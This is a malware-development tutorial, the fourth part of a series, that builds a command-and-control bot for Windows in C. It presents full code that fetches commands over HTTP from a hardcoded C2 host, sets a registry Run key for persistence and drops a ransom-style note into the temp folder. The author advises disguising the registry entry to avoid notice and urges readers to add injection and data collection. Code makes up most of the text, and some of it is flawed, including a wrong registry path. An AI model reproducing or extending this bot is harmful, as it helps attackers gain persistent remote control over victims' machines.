Malware Development: Crafting Digital Chaos 0x4: Command and Control

14 minute read

C2 connection

Implementing command and control (C2) functionality is a must-have for malware authors as it allows them to maintain control over infected devices and orchestrate malicious activities efficiently.

They can remotely issue commands to compromised systems, enabling tasks such as data exfiltration, executing additional payloads, spreading within networks, or even launching coordinated attacks.

This centralized control mechanism provides flexibility and adaptability to malware campaigns. Moreover, C2 infrastructure facilitates the collection of valuable information about infected devices and their environments.

In this article I’ll be developing a C2 controlled bot, that will try to connect and changes its activity based on the commands it gets.

Web server

First we can start configuring our web server and the payload or commands that the bot will try to get.

We can simply use python’s http server on port 8000, and host a .html file.

html files can be less suspicious when it comes to network detection systems, and also the commands can be easily stored inside .html files.

We can create the following html document:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>HTML FILE</title>
</head>
<body>
    <div>
        <p>This is a test HTML page.</p>
        <strong>prs</strong>
        <p>This is a paragraph.</p>
        <p>More content here.</p>
    </div>
</body>
</html>

The part we care about is the word between <\strong> tags, this will be retrieved by our bot and based on the word itself it will do different activities or go into different execution paths.

We can implement two functionalities inside our bot:

  • Persistence: Writing to key SOFTWARE\Microsoft\CurrentVersion\Run and this will be triggered if the commands was prs.
  • Dropping a file: Dropping a file to Temp path and writing some content, and this will be triggered if the commands was drp.

Start the http server using python.

P1

Initiating connection to C2

We will be first creating a function that will fetch and parse the HTML page.

HINTERNET hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);

The InternetOpenW function is part of the WinINet API in Windows and is used to initialize a session for WinINet functions. This function creates a session handle (HINTERNET) that represents the top-level interface for WinINet operations, such as making HTTP requests, and we will indeed be communicating over HTTP with our C2 server.

Next we will use InternetOpenUrlW and pass our URL as an argument so we can establish a connection and get a handle to that URL.

HINTERNET InternetOpenUrlW(
  [in] HINTERNET hInternet,
  [in] LPCWSTR   lpszUrl,
  [in] LPCWSTR   lpszHeaders,
  [in] DWORD     dwHeadersLength,
  [in] DWORD     dwFlags,
  [in] DWORD_PTR dwContext
);

lpszUrl will be the full URL of our C2, in my case it’ll be: http[:]//10[.]0.0[.]5:8000/index.html

HINTERNET hInternetUrl = InternetOpenUrlW(hInternet, L"http://10.0.0.5:8000/index.html", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);

The flags passed means:

  • INTERNET_FLAG_HYPERLINK : Forces a reload if there is no Expires time and no LastModified time returned from the server when determining whether to reload the item from the network.
  • INTERNET_FLAG_IGNORE_CERT_DATE_INVALID: Disables checking of SSL/PCT-based certificates for proper validity dates.

After we have initialized a connection successfully, Now we need to allocate some space so we can copy the file to.

We can simply do that using LocalAlloc():

PBYTE pBytes = (PBYTE)LocalAlloc(LPTR, 1000);

I choose 1000 as a size here arbitrarily, but you have to choose the size of data you want the application to read.

After we’ve allocated the space, we need to read the bytes:

InternetReadFile(hInternetUrl, pBytes, 1000, &dwBytesRead)

hInternetUrl is the handle to the connection we’ve established, the bytes will be read and store in pBytes.

Now we have completed everything we need, but note that the pointer pBytes will lose its value once the function returns, in order to preserve the value of it (which is our data) we need to pass a pointer to a pointer, and then dereference that pointer and assign the allocated memory block to it.

This way:

// At the start of the function
BOOL FetchData(wchar_t** pPointer)

// At the end of the function
*pPointer = wideString;

The type of the passed variable is wchar_t because we will be passing it to another function that accepts wide character strings.

A code snippet that will be added to the function in order to convert the bytes we read to wide string:

int bufferSize = MultiByteToWideChar(CP_UTF8, 0, (LPCSTR)pBytes, dwBytesRead, NULL, 0);
if (bufferSize == 0) {
  printf("Error in MultiByteToWideChar: %d", GetLastError());
  InternetCloseHandle(hInternetUrl);
  InternetCloseHandle(hInternet);
  LocalFree(pBytes);
  return FALSE;
}

wchar_t* wideString = (wchar_t*)LocalAlloc(LPTR, bufferSize * sizeof(wchar_t));
if (wideString == NULL) {
  printf("Memory allocation failed");
  InternetCloseHandle(hInternetUrl);
  InternetCloseHandle(hInternet);
  LocalFree(pBytes);
  return FALSE;
}

if (MultiByteToWideChar(CP_UTF8, 0, (LPCSTR)pBytes, dwBytesRead, wideString, bufferSize) == 0) {
  printf("Error in MultiByteToWideChar: %d", GetLastError());
  InternetCloseHandle(hInternetUrl);
  InternetCloseHandle(hInternet);
  LocalFree(pBytes);
  LocalFree(wideString);
  return FALSE;
}

Now the complete code of the function:

BOOL FetchData(wchar_t** pPointer) {
  HINTERNET hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);

  if (hInternet == NULL) {
    printf("InternetOpen failed with error %x", GetLastError());
    return FALSE;
  }

  HINTERNET hInternetUrl = InternetOpenUrlW(hInternet, L"http://10.0.0.5:8000/index.html", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);

  if (hInternetUrl == NULL) {
    printf("InternetOpenUrl failed with error %x", GetLastError());
    return FALSE;
  }

  PBYTE pBytes = (PBYTE)LocalAlloc(LPTR, 1000);

  DWORD dwBytesRead = NULL;

  if (!InternetReadFile(hInternetUrl, pBytes, 1000, &dwBytesRead)) {
    printf("Reading file failed error %x", GetLastError());
    return FALSE;
  }
  int bufferSize = MultiByteToWideChar(CP_UTF8, 0, (LPCSTR)pBytes, dwBytesRead, NULL, 0);
  if (bufferSize == 0) {
    printf("Error in MultiByteToWideChar: %d", GetLastError());
    InternetCloseHandle(hInternetUrl);
    InternetCloseHandle(hInternet);
    LocalFree(pBytes);
    return FALSE;
  }

  wchar_t* wideString = (wchar_t*)LocalAlloc(LPTR, bufferSize * sizeof(wchar_t));
  if (wideString == NULL) {
    printf("Memory allocation failed");
    InternetCloseHandle(hInternetUrl);
    InternetCloseHandle(hInternet);
    LocalFree(pBytes);
    return FALSE;
  }

  if (MultiByteToWideChar(CP_UTF8, 0, (LPCSTR)pBytes, dwBytesRead, wideString, bufferSize) == 0) {
    printf("Error in MultiByteToWideChar: %d", GetLastError());
    InternetCloseHandle(hInternetUrl);
    InternetCloseHandle(hInternet);
    LocalFree(pBytes);
    LocalFree(wideString);
    return FALSE;
  }

  *pPointer = wideString;

  return TRUE;
}

Hardcoding the IP of the C2 like this inside the function is not the best thing to do, you can pass the URL to the function as a parameter, that will be more practical, and also to do some encoding or encryption, Try it out and modify the code :).

Let’s do a quick test to see if the function works properly, don’t forget the running web server.

We can put a breakpoint at the end of the function to check the final buffer:

P2

As we can see we have successfully been able to fetch and save data.

The next step will be parsing the HTML and looking for our commands and choose the functionality based on it.

Parsing c2 commands

We can write a simple function to parse the data and locate exactly the location of our command, As we stated earlier the command will be between <\strong> tags:

void parseHTML(wchar_t* html) {
  const wchar_t* start_tag = L"<strong>";
  const wchar_t* pos = wcsstr(html, start_tag);
  if (pos != NULL) {
  
    pos += wcslen(start_tag);
    wchar_t word[4] = { 0 };
    wcsncpy_s(word, pos, 3);

    if (wcscmp(word, L"prs") == 0) {

      RegAct();
    }
    else if (wcscmp(word, L"drp") == 0) {

      FileAct();
    }
  }
}

This function will take html variable which is the date we have fetched, and will do some filtering in order to find the commands:

  • prs: If it was found the function RegAct() will be executed.
  • drp: If found the function FileAct() will be executed.

The function wcsstr() is a wide-character version of the strstr() function in C. It is used to find the first occurrence of a wide-character substring within a wide-character string.

We can extend this by adding more than two functions and more commands to do for example:

  1. Process Enumeration
  2. Injection
  3. Collect data about the machine

And more, I highly encourage you to try to extend the functionality.

Now let’s write RegAct() and FileAct() functions.

Persistence in registry

A very common and simple way of persistence that is widely used between malware authors. Adding an entry to SOFTWARE\Microsoft\CurrentVersion\Run, Malware ensures that it will be executed every time the system boots up, thus achieving persistence across reboots.

We can start using RegCreateKeyExA API first

LSTATUS RegCreateKeyExA(
  [in]            HKEY                        hKey,
  [in]            LPCSTR                      lpSubKey,
                  DWORD                       Reserved,
  [in, optional]  LPSTR                       lpClass,
  [in]            DWORD                       dwOptions,
  [in]            REGSAM                      samDesired,
  [in, optional]  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [out]           PHKEY                       phkResult,
  [out, optional] LPDWORD                     lpdwDisposition
);

This function Creates the specified registry key. If the key already exists, the function opens it.

In this case we want to open SOFTWARE\\Microsoft\\CurrentVersion\\Run, So we can use it as follows:

HKEY hKey;
const char* subKey = "SOFTWARE\\Microsoft\\CurrentVersion\\Run";
LONG result = RegCreateKeyExA(HKEY_LOCAL_MACHINE, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);

Nexe we use RegSetValueExA

LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,
  [in, optional] LPCSTR     lpValueName,
                 DWORD      Reserved,
  [in]           DWORD      dwType,
  [in]           const BYTE *lpData,
  [in]           DWORD      cbData
);

This API sets the data and type of a specified value under a registry key, hKey parameter is handle to an open registry key.

const char* valueName = "LockbitSupp~lol";
const char* valueData = "<PATH_TO_YOUR_FILE>";
result = RegSetValueExA(hKey, valueName, 0, REG_SZ, (BYTE*)valueData, strlen(valueData) + 1);

The value name apparently should be a more realistic name, so you don’t get any attention, like ServiceUpdate or any other common name.

Change valueData with the full path of your malware.

After we finish we need to close the key using:

RegCloseKey(hKey);

Full code of the function:

void RegAct() {
  HKEY hKey;
  const char* subKey = "SOFTWARE\\Microsoft\\CurrentVersion\\Run";
  const char* valueName = "LockbitSupp~lol";
  const char* valueData = "You have been infected with FunnyLockbit!";

  LONG result = RegCreateKeyExA(HKEY_LOCAL_MACHINE, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
  if (result == ERROR_SUCCESS) {
    // Set the value
    result = RegSetValueExA(hKey, valueName, 0, REG_SZ, (BYTE*)valueData, strlen(valueData) + 1);
    if (result == ERROR_SUCCESS) {
      printf("Value added correctly!");
    }
    else {
      printf("\nError %x\n", GetLastError());
    }
    // Close the key
    RegCloseKey(hKey);
  }
  else {
    printf("Failed to open or create registry key. Error code: %x", GetLastError());
  }
};

dropping a file

This is a simple functionality, dropping file can be used when for example dropping ransomware notes, instructions for the victim, any any dummy rabbit holes for incident responders, etc.

We will drop a temporarily file, so we will choose TEMP path, we can use GetTempPathA() to get the path of TEMP directory.

void FileAct() {

  char tempPath[MAX_PATH];
  DWORD result = GetTempPathA(MAX_PATH, tempPath);
  if (result == 0) {
    printf("Failed to get the temporary directory path.\n");

  }

  // Create the file path in the temporary directory
  char filePath[MAX_PATH];
  sprintf(filePath, "%sWelcomeToDarkSide.txt", tempPath);

  // Open the file for writing
  HANDLE hFile = CreateFileA(filePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile == INVALID_HANDLE_VALUE) {
    printf("Failed to create the file. Error code: %lu\n", GetLastError());
  }

  // Write the string to the file
  const char* data = "You have been infected with a Ransomware, please call me so I can give you my bank account to pay\n Number: 911";
  DWORD bytesWritten;
  result = WriteFile(hFile, data, strlen(data), &bytesWritten, NULL);
  if (!result) {
    printf("Failed to write to the file. Error code: %lu\n", GetLastError());
    CloseHandle(hFile);

  }

  // Close the file handle
  CloseHandle(hFile);

  printf("\nFile created and data written successfully.\n");

}

Here CreateFile() and WriteFile() are used after each other to create the file first then do a write operation.

Now let’s assemble the code and fire up the server again and try to change the commands within HTML page.

Executing

P3

As we can see above the HTML file holds prs command, let’s execute now and breakpoint inside the parsing function to check where the execution will go.

P4

After hitting the breakpoint we can see that the command was successfully sanitized from the html page, and this will be transferring the execution to RegAct() function, if we continue we can see that the value was added to the registry:

P5

Note: you will need admin permissions to if you used HKEY_LOCAL_MACHINE, but using HKEY_CURRENT_USER will work find though it will only affect user’s login.

Next let’s try changing the HTML file to another command:

P6

And once executing we can see that our breakpoint on FileAct() was triggered:

P7

And the file was created: P8

The full code:

#include <windows.h>
#include <Wininet.h>
#include <wchar.h>
#include <stdio.h>
#include <string.h>

void FileAct() {

  char tempPath[MAX_PATH];
  DWORD result = GetTempPathA(MAX_PATH, tempPath);
  if (result == 0) {
    printf("Failed to get the temporary directory path.\n");

  }

  // Create the file path in the temporary directory
  char filePath[MAX_PATH];
  sprintf(filePath, "%sWelcomeToDarkSide.txt", tempPath);

  // Open the file for writing
  HANDLE hFile = CreateFileA(filePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile == INVALID_HANDLE_VALUE) {
    printf("Failed to create the file. Error code: %lu\n", GetLastError());
  }

  // Write the string to the file
  const char* data = "You have been infected with a Ransomware, please call me so I can give you my bank account to pay\n Number: 911";
  DWORD bytesWritten;
  result = WriteFile(hFile, data, strlen(data), &bytesWritten, NULL);
  if (!result) {
    printf("Failed to write to the file. Error code: %lu\n", GetLastError());
    CloseHandle(hFile);

  }

  // Close the file handle
  CloseHandle(hFile);

  printf("\nFile created and data written successfully.\n");

}

void RegAct() {

  HKEY hKey;
  const char* subKey = "SOFTWARE\\Microsoft\\CurrentVersion\\Run";
  const char* valueName = "LockbitSupp~lol";
  const char* valueData = "You have been infected with FunnyLockbit!";

  LONG result = RegCreateKeyExA(HKEY_LOCAL_MACHINE, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
  if (result == ERROR_SUCCESS) {
    // Set the value
    result = RegSetValueExA(hKey, valueName, 0, REG_SZ, (BYTE*)valueData, strlen(valueData) + 1);
    if (result == ERROR_SUCCESS) {
      printf("Value added correctly!");
    }
    else {
      printf("\nError %x\n", GetLastError());
    }
    // Close the key
    RegCloseKey(hKey);
  }
  else {
    printf("Failed to open or create registry key. Error code: %x", GetLastError());
  }
};


void parseHTML(wchar_t* html) {

  const wchar_t* start_tag = L"<strong>";
  const wchar_t* pos = wcsstr(html, start_tag);
  if (pos != NULL) {

    pos += wcslen(start_tag);
    wchar_t word[4] = { 0 };


    wcsncpy_s(word, pos, 3);

    if (wcscmp(word, L"prs") == 0) {

      RegAct();
    }
    else if (wcscmp(word, L"drp") == 0) {

      FileAct();
    }
  }
}




BOOL FetchData(wchar_t** pPointer) {
  HINTERNET hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);

  if (hInternet == NULL) {
    printf("InternetOpen failed with error %x", GetLastError());
    return FALSE;
  }

  HINTERNET hInternetUrl = InternetOpenUrlW(hInternet, L"http://10.0.0.5:8000/index.html", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);

  if (hInternetUrl == NULL) {
    printf("InternetOpenUrl failed with error %x", GetLastError());
    return FALSE;
  }

  PBYTE pBytes = (PBYTE)LocalAlloc(LPTR, 1000);

  DWORD dwBytesRead = NULL;

  if (!InternetReadFile(hInternetUrl, pBytes, 1000, &dwBytesRead)) {
    printf("Reading file failed error %x", GetLastError());
    return FALSE;
  }
  int bufferSize = MultiByteToWideChar(CP_UTF8, 0, (LPCSTR)pBytes, dwBytesRead, NULL, 0);
  if (bufferSize == 0) {
    printf("Error in MultiByteToWideChar: %d", GetLastError());
    InternetCloseHandle(hInternetUrl);
    InternetCloseHandle(hInternet);
    LocalFree(pBytes);
    return FALSE;
  }

  wchar_t* wideString = (wchar_t*)LocalAlloc(LPTR, bufferSize * sizeof(wchar_t));
  if (wideString == NULL) {
    printf("Memory allocation failed");
    InternetCloseHandle(hInternetUrl);
    InternetCloseHandle(hInternet);
    LocalFree(pBytes);
    return FALSE;
  }

  if (MultiByteToWideChar(CP_UTF8, 0, (LPCSTR)pBytes, dwBytesRead, wideString, bufferSize) == 0) {
    printf("Error in MultiByteToWideChar: %d", GetLastError());
    InternetCloseHandle(hInternetUrl);
    InternetCloseHandle(hInternet);
    LocalFree(pBytes);
    LocalFree(wideString);
    return FALSE;
  }

  *pPointer = wideString;

  return TRUE;
}


int main() {

  wchar_t* Space = (wchar_t*)malloc(1000);

  FetchData(&Space);

  parseHTML(Space);

  return 1;
}

Thank you for reading :).